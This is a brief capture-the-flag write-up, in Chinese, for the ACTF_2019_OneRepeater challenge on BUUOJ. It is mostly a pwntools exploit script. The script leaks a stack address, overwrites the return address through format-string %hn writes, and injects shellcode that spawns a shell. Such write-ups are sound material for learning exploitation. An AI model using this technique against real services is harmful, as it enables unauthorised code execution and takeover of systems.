ACTF_2019_OneRepeater

有可读可写可执行段，是道格式化字符串题，用shellcode做

1输入，会打印变量的栈地址，2格式化，可多次格式化，返回地址得在原来的基础上加0x10，因为这里leave以后并没有立即ret,而是lea esp, [ecx-4]，调试发现时是add esp, 0x10，所以ret_addr=0x408+0x10+4

exp

from pwn import*
from LibcSearcher import *
p=remote("node5.buuoj.cn",29221)
#p=process("./ACTF_2019_OneRepeater")
context.log_level="debug"
context(log_level='debug',arch='i386',os='linux')

offset=16
p.sendlineafter('Exit','1')
p.recvline()
addr = int(p.recv(8).strip(), 16)
ret_addr=addr+0x418+4
print('addr'+hex(addr))

'''
payload=p32(ret_addr)+b'%'+str(addr%65536-4).encode()+b'c'+b'%16$hn'
p.sendline(payload)
p.sendlineafter('3) Exit','2')

p.sendlineafter('3) Exit','1')
payload=p32(ret_addr+2)+b'%'+str(addr//65536-4).encode()+b'c'+b'%16$hn'
p.sendline(payload)
'''
payload=p32(ret_addr)+p32(ret_addr+2)+b'%'+str(addr%65536-8).encode()+b'c'+b'%16$hn'+b'%'+str(addr//65536-addr%65536).encode()+b'c%17$hn'
p.sendline(payload)
p.sendlineafter('3) Exit','2')
p.sendlineafter('3) Exit','1')
#gdb.attach(p)
sleep(1)

p.sendline(asm(shellcraft.sh()))

p.sendlineafter('3) Exit','3')


p.interactive()